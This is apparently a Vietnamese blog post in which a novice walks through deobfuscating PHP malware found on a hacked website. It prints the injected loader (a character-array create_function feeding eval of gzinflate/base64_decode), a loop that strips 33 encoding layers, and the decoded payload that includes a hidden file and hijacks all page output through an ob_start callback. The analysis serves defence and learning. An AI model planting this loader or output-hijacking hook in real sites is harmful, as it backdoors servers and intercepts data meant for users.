Chuyện con gà và cái đĩa

Cách đây 1 tháng, khi còn nghỉ hè, theo sự đề nghị thắm thiết của 1 số người hâm  mộ, mình dự định sẽ viết tiếp bài mới trong sê ri ca nhạc "CSharp hát rap cho Java nghe", nhưng thất bại trong 2 dự án hát rap bí mật và kết quả thảm hại của bài thi tiếng Anh đã khiến bài viết đó bị trì hoãn.

Đại khái là muốn thu hút blog view thì phải có bài khác đắp vào, mà muốn có bài thì phải lục lọi trí não ra kiếm chuyện để kể. Gần đây chuyện hay CNTT thì ko nhiều, chuyện lạ cũng ko có, chỉ có một chút bỡ ngỡ khi lần đầu thực hành bảo mật máy tính. Vốn trình mình cũng ở mức siêu gà thôi ^^
Chuyện là có cái website nọ bị họ đột nhập, thêm xóa sửa sao đó ko biết mà trang php có thêm đoạn code như vầy (tạm gọi là đoạn code Lạ):

$ae = array('b',"_",'r','$',"n",'g',"v","e","d",'z',"i",';','6','a',"s","f","t","o",")","(",'4',"c","l");

$be4 = create_function('$'.'v',$ae[7].$ae[6].$ae[13].$ae[22].$ae[19].$ae[5].$ae[9].$ae[10].$ae[4].$ae[15].$ae[22].$ae[13].$ae[16].$ae[7].$ae[19].$ae[0].$ae[13].$ae[14].$ae[7].$ae[12].$ae[20].$ae[1].$ae[8].$ae[7].$ae[21].$ae[17].$ae[8].$ae[7].$ae[19].$ae[3].$ae[6].$ae[18].$ae[18].$ae[18].$ae[11]);


$be4(một chuỗi rất bự bị mã hóa);



Đầu tiên mình phải hì hụi mò mẫm trong tài liệu thì biết create_function(string1, string2) tạo ra 1 hàm với các tham số là string1 và toàn bộ code nằm trong string2. Vậy là tiếp tục hì hụi thay từng kí tự của mảng $ae vô trong string2. Kết quả được như vầy:

$be4 = create_function('$v','{return gzinflate(base64_decode($a));}');

Mạo muội viết lại 1 cách tương đương toàn bộ đoạn code Lạ:

function be4($a) {
eval(gzinflate(base64_decode($a)));
}

be4(một chuỗi rất bự bị mã hóa);

Lại hỏi bác Gúc thì được bác bảo "gzinflate base64_decode là 2 hàm để giải mã, cháu đừng quan tâm" còn hàm eval đối xử với chuỗi như 1 đoạn mã php, ghê gớm lắm đấy.
Chắc hản ai cũng dự đoán được, kết quả của việc giải mã "chuỗi rất bự bị mã hóa" sẽ là 1 đoạn code php nào đó.

Mình sủa lại hàm be($a) một chút để nó in ra kết quả mã hóa.

function be4($a) {
gzinflate(base64_decode($a)); // đã sửa
}

Kết quả là eval(gzinflate(base64_decode(chuỗi bự version 2))) => vậy là thằng hacker vớ vỉn nào đó muốn mã hóa 2 lần à? Mình giải mã bằng tay đến khi xuất hiện chuỗi bự version 3 hay 4 gì đó thì tự hỏi, có khi nào nó mã hóa 200 lần chỉ để cho vui. Cần 1 hàm nhỏ giải mã tự động.

function mebe4($a)
{
$b = false;
$count = 0;

$a = be4($a);


while (!$b)
{
if (strpos($a, "'") !== false)
{
$start = strpos($a, "'");
$end = strrpos($a, "'");
$len = $end - $start + 1;
$a = substr($a, $start, $len);
$count++;
echo $count, " ", $len, " ", $a, "<br /><br />";
$x = be4($a);
$a = $x;
}
else
$b = true;
}
echo $a;
}

Hàm này sẽ cho biết đoạn code php gốc (ta gọi là code Độc), nhưng bị thiếu khúc đầu và khúc đuôi, đồng thời in ra số lần bị mã hóa của đoạn php Độc.
Kết quả là Độc bị mã hóa 33 lần, một số thủ pháp nhỏ sau đó giúp mình có nguyên vẹn code php mã hacker đã cài vào trang web, code Độc như sau:

if(function_exists('ob_start')&&!isset($GLOBALS['mfsn']))
{
$GLOBALS['mfsn']='D:/xampp/htdocs/main/forum/Themes/alak/images/buttons/menu/0ae.php'; // (1)
if(file_exists($GLOBALS['mfsn']))
{
include_once($GLOBALS['mfsn']); // (2)
if(function_exists('gml')&&function_exists('dgobh'))
{
ob_start('dgobh'); // (3)
}
}
}

Nói chung, code Độc như thế này:
* Câu (1) và (2) sẽ sửa 1 biến toàn cục rồi nhúng 1 cái thư viện Độc gọi là 0ae.php vào web nạn nhân.
* Câu (3) nham hiểm hơn, sẽ cài 1 hàm call back vào hệ thống, hàm này tên là dgobh, nằm trong cái thư viện Độc mới được nhúng, đồng thời toàn bộ thông tin mà chủ web muốn truyền ra ngoài sẽ bị giữ lại và được xử lý bằng hàm call back đó.

Một khi web này chạy, toàn bộ thông tin của web sẽ ko được đi ra ngoài theo đường chính đạo, vừa dài vừa xa, như quản trị viên mong muốn, mà sẽ đi theo đường tắt, do hacker đã làm sẵn, vừa nhanh vừa tiện.

Gà con chip chip như mình, có khi chẳng bao h vào nổi 1 cái yahoo của người khác, trình độ đâu mà chui vô server, tìm file index.php trong bạt ngàn file xxx, rồi tái sử dụng đoạn code Lạ kia.

Nhưng túm đi thì cũng phải túm lại, gà con chip chip luôn là mồi ngon của các bạn cáo. Đã là gà, nếu ko muốn sớm lên dĩa, thì cần phải thường xuyên đọc báo, thăm hỏi các diễn đàn và rút ra kinh nghiệm mà ví dụ đơn giản là từ bác quản trị viên tội nghiệp của trang web này chẳng hạn.

Comments

Post a Comment

Popular posts from this blog

New Admob for Android: Switching from Admob SDK to Google Play Services API

How to wrap a C# library for using in Java, a folk tale about an idiot coding at midnight.